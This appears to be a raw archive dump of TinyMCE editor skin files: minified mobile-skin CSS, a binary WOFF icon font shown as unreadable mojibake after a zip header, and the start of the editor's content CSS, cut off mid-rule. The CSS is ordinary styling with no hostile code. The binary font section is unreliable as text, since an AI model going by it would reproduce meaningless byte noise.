.tinymce-mobile-outer-container{all:initial;display:block}.tinymce-mobile-outer-container *{border:0;box-sizing:initial;cursor:inherit;float:none;line-height:1;margin:0;outline:0;padding:0;-webkit-tap-highlight-color:transparent;text-shadow:none;white-space:nowrap}.tinymce-mobile-icon-arrow-back::before{content:"\e5cd"}.tinymce-mobile-icon-image::before{content:"\e412"}.tinymce-mobile-icon-cancel-circle::before{content:"\e5c9"}.tinymce-mobile-icon-full-dot::before{content:"\e061"}.tinymce-mobile-icon-align-center::before{content:"\e234"}.tinymce-mobile-icon-align-left::before{content:"\e236"}.tinymce-mobile-icon-align-right::before{content:"\e237"}.tinymce-mobile-icon-bold::before{content:"\e238"}.tinymce-mobile-icon-italic::before{content:"\e23f"}.tinymce-mobile-icon-unordered-list::before{content:"\e241"}.tinymce-mobile-icon-ordered-list::before{content:"\e242"}.tinymce-mobile-icon-font-size::before{content:"\e245"}.tinymce-mobile-icon-underline::before{content:"\e249"}.tinymce-mobile-icon-link::before{content:"\e157"}.tinymce-mobile-icon-unlink::before{content:"\eca2"}.tinymce-mobile-icon-color::before{content:"\e891"}.tinymce-mobile-icon-previous::before{content:"\e314"}.tinymce-mobile-icon-next::before{content:"\e315"}.tinymce-mobile-icon-large-font::before,.tinymce-mobile-icon-style-formats::before{content:"\e264"}.tinymce-mobile-icon-undo::before{content:"\e166"}.tinymce-mobile-icon-redo::before{content:"\e15a"}.tinymce-mobile-icon-removeformat::before{content:"\e239"}.tinymce-mobile-icon-small-font::before{content:"\e906"}.tinymce-mobile-format-matches::after,.tinymce-mobile-icon-readonly-back::before{content:"\e5ca"}.tinymce-mobile-icon-small-heading::before{content:"small"}.tinymce-mobile-icon-large-heading::before{content:"large"}.tinymce-mobile-icon-large-heading::before,.tinymce-mobile-icon-small-heading::before{font-family:sans-serif;font-size:80%}.tinymce-mobile-mask-edit-icon::before{content:"\e254"}.tinymce-mobile-icon-back::before{content:"\e5c4"}.tinymce-mobile-icon-heading::before{content:"Headings";font-family:sans-serif;font-size:80%;font-weight:700}.tinymce-mobile-icon-h1::before{content:"H1";font-weight:700}.tinymce-mobile-icon-h2::before{content:"H2";font-weight:700}.tinymce-mobile-icon-h3::before{content:"H3";font-weight:700}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask{align-items:center;display:flex;justify-content:center;background:rgba(51,51,51,.5);height:100%;position:absolute;top:0;width:100%}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container{align-items:center;border-radius:50%;display:flex;flex-direction:column;font-family:sans-serif;font-size:1em;justify-content:space-between}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .mixin-menu-item{align-items:center;display:flex;justify-content:center;border-radius:50%;height:2.1em;width:2.1em}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section{align-items:center;display:flex;justify-content:center;flex-direction:column;font-size:1em}@media only screen and (min-device-width:700px){.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section{font-size:1.2em}}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section .tinymce-mobile-mask-tap-icon{align-items:center;display:flex;justify-content:center;border-radius:50%;height:2.1em;width:2.1em;background-color:#fff;color:#207ab7}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section .tinymce-mobile-mask-tap-icon::before{content:"\e900";font-family:tinymce-mobile,sans-serif}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section:not(.tinymce-mobile-mask-tap-icon-selected) .tinymce-mobile-mask-tap-icon{z-index:2}.tinymce-mobile-android-container.tinymce-mobile-android-maximized{background:#fff;border:none;bottom:0;display:flex;flex-direction:column;left:0;position:fixed;right:0;top:0}.tinymce-mobile-android-container:not(.tinymce-mobile-android-maximized){position:relative}.tinymce-mobile-android-container .tinymce-mobile-editor-socket{display:flex;flex-grow:1}.tinymce-mobile-android-container .tinymce-mobile-editor-socket iframe{display:flex!important;flex-grow:1;height:auto!important}.tinymce-mobile-android-scroll-reload{overflow:hidden}:not(.tinymce-mobile-readonly-mode)>.tinymce-mobile-android-selection-context-toolbar{margin-top:23px}.tinymce-mobile-toolstrip{background:#fff;display:flex;flex:0 0 auto;z-index:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar{align-items:center;background-color:#fff;border-bottom:1px solid #ccc;display:flex;flex:1;height:2.5em;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group{align-items:center;display:flex;height:100%;flex-shrink:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group>div{align-items:center;display:flex;height:100%;flex:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group.tinymce-mobile-exit-container{background:#f44336}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group.tinymce-mobile-toolbar-scrollable-group{flex-grow:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item{padding-left:.5em;padding-right:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item.tinymce-mobile-toolbar-button{align-items:center;display:flex;height:80%;margin-left:2px;margin-right:2px}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item.tinymce-mobile-toolbar-button.tinymce-mobile-toolbar-button-selected{background:#c8cbcf;color:#ccc}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group:first-of-type,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group:last-of-type{background:#207ab7;color:#eceff1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group{align-items:center;display:flex;height:100%;flex:1;padding-bottom:.4em;padding-top:.4em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog{display:flex;min-height:1.5em;overflow:hidden;padding-left:0;padding-right:0;position:relative;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain{display:flex;height:100%;transition:left cubic-bezier(.4,0,1,1) .15s;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen{display:flex;flex:0 0 auto;justify-content:space-between;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen input{font-family:Sans-serif}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-input-container{display:flex;flex-grow:1;position:relative}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-input-container .tinymce-mobile-input-container-x{-ms-grid-row-align:center;align-self:center;background:inherit;border:none;border-radius:50%;color:#888;font-size:.6em;font-weight:700;height:100%;padding-right:2px;position:absolute;right:0}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-input-container.tinymce-mobile-input-container-empty .tinymce-mobile-input-container-x{display:none}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-next,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-previous{align-items:center;display:flex}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-next::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-previous::before{align-items:center;display:flex;font-weight:700;height:100%;padding-left:.5em;padding-right:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-next.tinymce-mobile-toolbar-navigation-disabled::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-previous.tinymce-mobile-toolbar-navigation-disabled::before{visibility:hidden}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-dot-item{color:#ccc;font-size:10px;line-height:10px;margin:0 2px;padding-top:3px}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-dot-item.tinymce-mobile-dot-active{color:#c8cbcf}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-large-font::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-large-heading::before{margin-left:.5em;margin-right:.9em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-small-font::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-small-heading::before{margin-left:.9em;margin-right:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider{display:flex;flex:1;margin-left:0;margin-right:0;padding:.28em 0;position:relative}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-size-container{align-items:center;display:flex;flex-grow:1;height:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-size-container .tinymce-mobile-slider-size-line{background:#ccc;display:flex;flex:1;height:.2em;margin-bottom:.3em;margin-top:.3em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container{padding-left:2em;padding-right:2em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-slider-gradient-container{align-items:center;display:flex;flex-grow:1;height:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-slider-gradient-container .tinymce-mobile-slider-gradient{background:linear-gradient(to right,red 0,#feff00 17%,#0f0 33%,#00feff 50%,#00f 67%,#ff00fe 83%,red 100%);display:flex;flex:1;height:.2em;margin-bottom:.3em;margin-top:.3em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-hue-slider-black{background:#000;height:.2em;margin-bottom:.3em;margin-top:.3em;width:1.2em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-hue-slider-white{background:#fff;height:.2em;margin-bottom:.3em;margin-top:.3em;width:1.2em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-thumb{align-items:center;background-clip:padding-box;background-color:#455a64;border:.5em solid rgba(136,136,136,0);border-radius:3em;bottom:0;color:#fff;display:flex;height:.5em;justify-content:center;left:-10px;margin:auto;position:absolute;top:0;transition:border 120ms cubic-bezier(.39,.58,.57,1);width:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-thumb.tinymce-mobile-thumb-active{border:.5em solid rgba(136,136,136,.39)}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serializer-wrapper,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group>div{align-items:center;display:flex;height:100%;flex:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serializer-wrapper{flex-direction:column;justify-content:center}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item{align-items:center;display:flex}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item:not(.tinymce-mobile-serialised-dialog){height:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-dot-container{display:flex}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group input{background:#fff;border:none;border-radius:0;color:#455a64;flex-grow:1;font-size:.85em;padding-bottom:.1em;padding-left:5px;padding-top:.1em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group input::-webkit-input-placeholder{color:#888}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group input::placeholder{color:#888}.tinymce-mobile-dropup{background:#fff;display:flex;overflow:hidden;width:100%}.tinymce-mobile-dropup.tinymce-mobile-dropup-shrinking{transition:height .3s ease-out}.tinymce-mobile-dropup.tinymce-mobile-dropup-growing{transition:height .3s ease-in}.tinymce-mobile-dropup.tinymce-mobile-dropup-closed{flex-grow:0}.tinymce-mobile-dropup.tinymce-mobile-dropup-open:not(.tinymce-mobile-dropup-growing){flex-grow:1}.tinymce-mobile-ios-container .tinymce-mobile-dropup:not(.tinymce-mobile-dropup-closed){min-height:200px}@media only screen and (orientation:landscape){.tinymce-mobile-dropup:not(.tinymce-mobile-dropup-closed){min-height:200px}}@media only screen and (min-device-width :320px) and (max-device-width :568px) and (orientation :landscape){.tinymce-mobile-ios-container .tinymce-mobile-dropup:not(.tinymce-mobile-dropup-closed){min-height:150px}}.tinymce-mobile-styles-menu{font-family:sans-serif;outline:4px solid #000;overflow:hidden;position:relative;width:100%}.tinymce-mobile-styles-menu [role=menu]{display:flex;flex-direction:column;height:100%;position:absolute;width:100%}.tinymce-mobile-styles-menu [role=menu].transitioning{transition:transform .5s ease-in-out}.tinymce-mobile-styles-menu .tinymce-mobile-styles-item{border-bottom:1px solid #ddd;color:#455a64;cursor:pointer;display:flex;padding:1em 1em;position:relative}.tinymce-mobile-styles-menu .tinymce-mobile-styles-collapser .tinymce-mobile-styles-collapse-icon::before{color:#455a64;content:"\e314";font-family:tinymce-mobile,sans-serif}.tinymce-mobile-styles-menu .tinymce-mobile-styles-item.tinymce-mobile-styles-item-is-menu::after{color:#455a64;content:"\e315";font-family:tinymce-mobile,sans-serif;padding-left:1em;padding-right:1em;position:absolute;right:0}.tinymce-mobile-styles-menu .tinymce-mobile-styles-item.tinymce-mobile-format-matches::after{font-family:tinymce-mobile,sans-serif;padding-left:1em;padding-right:1em;position:absolute;right:0}.tinymce-mobile-styles-menu .tinymce-mobile-styles-collapser,.tinymce-mobile-styles-menu .tinymce-mobile-styles-separator{align-items:center;background:#fff;border-top:#455a64;color:#455a64;display:flex;min-height:2.5em;padding-left:1em;padding-right:1em}.tinymce-mobile-styles-menu [data-transitioning-destination=before][data-transitioning-state],.tinymce-mobile-styles-menu [data-transitioning-state=before]{transform:translate(-100%)}.tinymce-mobile-styles-menu [data-transitioning-destination=current][data-transitioning-state],.tinymce-mobile-styles-menu [data-transitioning-state=current]{transform:translate(0)}.tinymce-mobile-styles-menu [data-transitioning-destination=after][data-transitioning-state],.tinymce-mobile-styles-menu [data-transitioning-state=after]{transform:translate(100%)}@font-face{font-family:tinymce-mobile;font-style:normal;font-weight:400;src:url(fonts/tinymce-mobile.woff?8x92w3) format('woff')}@media (min-device-width:700px){.tinymce-mobile-outer-container,.tinymce-mobile-outer-container input{font-size:25px}}@media (max-device-width:700px){.tinymce-mobile-outer-container,.tinymce-mobile-outer-container input{font-size:18px}}.tinymce-mobile-icon{font-family:tinymce-mobile,sans-serif}.mixin-flex-and-centre{align-items:center;display:flex;justify-content:center}.mixin-flex-bar{align-items:center;display:flex;height:100%}.tinymce-mobile-outer-container .tinymce-mobile-editor-socket iframe{background-color:#fff;width:100%}.tinymce-mobile-editor-socket .tinymce-mobile-mask-edit-icon{background-color:#207ab7;border-radius:50%;bottom:1em;color:#fff;font-size:1em;height:2.1em;position:fixed;right:2em;width:2.1em;align-items:center;display:flex;justify-content:center}@media only screen and (min-device-width:700px){.tinymce-mobile-editor-socket .tinymce-mobile-mask-edit-icon{font-size:1.2em}}.tinymce-mobile-outer-container:not(.tinymce-mobile-fullscreen-maximized) .tinymce-mobile-editor-socket{height:300px;overflow:hidden}.tinymce-mobile-outer-container:not(.tinymce-mobile-fullscreen-maximized) .tinymce-mobile-editor-socket iframe{height:100%}.tinymce-mobile-outer-container:not(.tinymce-mobile-fullscreen-maximized) .tinymce-mobile-toolstrip{display:none}input[type=file]::-webkit-file-upload-button{display:none}@media only screen and (min-device-width :320px) and (max-device-width :568px) and (orientation :landscape){.tinymce-mobile-ios-container .tinymce-mobile-editor-socket .tinymce-mobile-mask-edit-icon{bottom:50%}}
PK
h�\�:i�;program/js/tinymce/skins/ui/oxide/fonts/tinymce-mobile.woffnu�[���wOFF�OS/2``	�cmaph�?�"gasplglyftTTeŵ7head�66��7hhea$$�#hmtx$��~@�loca�FF+'6maxp�  ,�name���l�post�  ��������3	@����@�@ �6  �a���W�Z�f�4�9�?�B�E�I�T�d���������y������� �a���W�Z�f�4�6�?�A�E�I�T�d���������y����������$�����������TPN����797979�UV4>32#".�6]|GF}]66]|GF}]6�F}]66]}FG|]66]|VU�%!%2#!"&5463V�T������"21#�T"21#�����VV4"�#33#"4V���/2+532654&+55!%;#".54>;#"�,N9!!9N,��6NN6��T��N6��,N9!!9N,��6N�":N,-N:!RN66NR�TT*6NR!:N-,N:"RNB��7!7.#"'>32����-p?9gU>dRo�J+QKD���%+#>V3 BqR/)V��2.#"!>J�oRd?Ug9?p-����DKQU/RqB 3V>#+%���)�+�+!!!!5!5!!!�����T������T+VTV�TT��VVV�+�+!!5!5!!5!5������+V�VVVVTTVV��VV�+�+!!5!5!5!5!�����+V�VV�TT�VV�VV*�� 2654&+32654&##!!2@%%��%%p*2ZD��Hb&%%���%%�N0D^VdH!@V+V�!#'7#'''#7V�DZfxth6�B�h��Հ�XHx
��6�(�!#3!53#�Vx�^��x�^�����Vjk��#/!!5!5!%2#"&5462#"&5462#"&546*V��V��V�*%&'%%%%%%%%%�T�TT�TTj'&&'%%%%�%%%%VU�'5!5!!!533#57'5#5353#535#535*V��V��V��ԀNN�L"*TT��T**�TT�TTTT�,(X,(X��,���,�,,���5!##!###�����*Ԁ������*V���+*+7!!%".5332653�T��*5^E(jX>=Yj(E^�V�(E]6V��>VV>V��6]E(�+t	'762	#tN�N$d�ؠ�(�N�Nd$�@ؠ�(��*!###�T����V���%	�<�<�<<�n���%7'7	n��<����<��VU�U'3%2>54.#"!32#!"&546;4632#"&,N:"":N,,N:"":NTN�"21#�T"21#�FO99OO99O�!:N-,N:"":N,-N:!�T4"�#33#"4��9OO99OO�UV!	V���<��V<��T�<VV<�V�U'7''72#".54>֚�<��<��<���X�sCCs�YX�sCCs���<��<��<���Ct�XY�tBBt�YX�tC����%'7��<��<��<��<��*�''7'77*��<��<��<�����<��<��<���+�+ 2#!"&=3!!#54637!5!'7*"43#��$2VT��V2$�n�d�n<��+4"��#33#��T��"4��pTp<���K	%#"&'.46?�$()F]&22221BB~22222�gj�$_34]F)�3}�}222222}�}3��Aj+3##5#535332654&#"!'5'#".54>32V*VV*VjOqpPOqpP�@�$]3:eK,,Ke::dK+" VV*VV�pPOqqOPp�@�" "+Je:9fK,,Kf93]$	�� -CYaiqy�#"!4&".#">768383>5464&.#"0<54632%.#"0<54632#"!4&'#"!4&#"!4&#"!4&#"!4&�'(O}ZZ}}zyGV��VFzz�zgCCl````�mCCf````��'(�'(�(�(&�(&�(&�('�&&6��&'J6�����##������##���('�('�&(�&(&(@���!###@���������e�a AOas���%#".54>;2+";2#!#"&546;2654&+"&546;2#"&=46323"&'&4?62#!"&/&4762#2#"&=46#2"'&4?>3!2"/&47>3Ҝ+L9!!9L+��+==+�8��+==+��+L9!!9L+��	hh
��
hh	��	hh
8
hh	� 9L++L9 =++==++= 9L++L8!�
i

i
hhhh��
i

i
hhhh33��`�_<��������a���@�"�VVBV���*VjV����VnV�V����@@e
>l��(Px���4r����bz���@�8J*"�	��K�*u
�		�	Y	�	5	�	
4�tinymce-mobiletinymce-mobileVersion 1.2Version 1.2tinymce-mobiletinymce-mobiletinymce-mobiletinymce-mobileRegularRegulartinymce-mobiletinymce-mobileFont generated by IcoMoon.Font generated by IcoMoon.PK
h�\���MJUJU1program/js/tinymce/skins/ui/oxide/content.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.mce-content-body .mce-item-anchor{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'8'%20height%3D'12'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200L8%200%208%2012%204.09117821%209%200%2012z'%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;cursor:default;display:inline-block;height:12px!important;padding:0 2px;-webkit-user-modify:read-only;-moz-user-modify:read-only;-webkit-user-select:all;-moz-user-select:all;-ms-user-select:all;user-select:all;width:8px!important}.mce-content-body .mce-item-anchor[data-mce-selected]{outline-offset:1px}.tox-comments-visible .tox-comment{background-color:#fff0b7}.tox-comments-visible .tox-comment--active{background-color:#ffe168}.tox-checklist>li:not(.tox-checklist--hidden){list-style:none;margin:.25em 0}.tox-checklist>li:not(.tox-checklist--hidden)::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-unchecked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2215%22%20height%3D%2215%22%20x%3D%22.5%22%20y%3D%22.5%22%20fill-rule%3D%22nonzero%22%20stroke%3D%22%234C4C4C%22%20rx%3D%222%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A");cursor:pointer;height:1em;margin-left:-1.5em;margin-top:.125em;position:absolute;width:1em}.tox-checklist li:not(.tox-checklist--hidden).tox-checklist--checked::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-checked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2216%22%20height%3D%2216%22%20fill%3D%22%234099FF%22%20fill-rule%3D%22nonzero%22%20rx%3D%222%22%2F%3E%3Cpath%20id%3D%22Path%22%20fill%3D%22%23FFF%22%20fill-rule%3D%22nonzero%22%20d%3D%22M11.5703186%2C3.14417309%20C11.8516238%2C2.73724603%2012.4164781%2C2.62829933%2012.83558%2C2.89774797%20C13.260121%2C3.17069355%2013.3759736%2C3.72932262%2013.0909105%2C4.14168582%20L7.7580587%2C11.8560195%20C7.43776896%2C12.3193404%206.76483983%2C12.3852142%206.35607322%2C11.9948725%20L3.02491697%2C8.8138662%20C2.66090143%2C8.46625845%202.65798871%2C7.89594698%203.01850234%2C7.54483354%20C3.373942%2C7.19866177%203.94940006%2C7.19592841%204.30829608%2C7.5386474%20L6.85276923%2C9.9684299%20L11.5703186%2C3.14417309%20Z%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A")}[dir=rtl] .tox-checklist>li:not(.tox-checklist--hidden)::before{margin-left:0;margin-right:-1.5em}code[class*=language-],pre[class*=language-]{color:#000;background:0 0;text-shadow:0 1px #fff;font-family:Consolas,Monaco,'Andale Mono','Ubuntu Mono',monospace;font-size:1em;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;tab-size:4;-webkit-hyphens:none;-ms-hyphens:none;hyphens:none}code[class*=language-] ::-moz-selection,code[class*=language-]::-moz-selection,pre[class*=language-] ::-moz-selection,pre[class*=language-]::-moz-selection{text-shadow:none;background:#b3d4fc}code[class*=language-] ::selection,code[class*=language-]::selection,pre[class*=language-] ::selection,pre[class*=language-]::selection{text-shadow:none;background:#b3d4fc}@media print{code[class*=language-],pre[class*=language-]{text-shadow:none}}pre[class*=language-]{padding:1em;margin:.5em 0;overflow:auto}:not(pre)>code[class*=language-],pre[class*=language-]{background:#f5f2f0}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.cdata,.token.comment,.token.doctype,.token.prolog{color:#708090}.token.punctuation{color:#999}.namespace{opacity:.7}.token.boolean,.token.constant,.token.deleted,.token.number,.token.property,.token.symbol,.token.tag{color:#905}.token.attr-name,.token.builtin,.token.char,.token.inserted,.token.selector,.token.string{color:#690}.language-css .token.string,.style .token.string,.token.entity,.token.operator,.token.url{color:#9a6e3a;background:hsla(0,0%,100%,.5)}.token.atrule,.token.attr-value,.token.keyword{color:#07a}.token.class-name,.token.function{color:#dd4a68}.token.important,.token.regex,.token.variable{color:#e90}.token.bold,.token.important{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}.mce-content-body{overflow-wrap:break-word;word-wrap:break-word}.mce-content-body .mce-visual-caret{background-color:#000;background-color:currentColor;position:absolute}.mce-content-body .mce-visual-caret-hidden{display:none}.mce-content-body [data-mce-caret]{left:-1000px;margin:0;padding:0;position:absolute;right:auto;top:0}.mce-content-body .mce-offscreen-selection{left:-2000000px;max-width:1000000px;position:absolute}.mce-content-body [contentEditable=false]{cursor:default}.mce-content-body 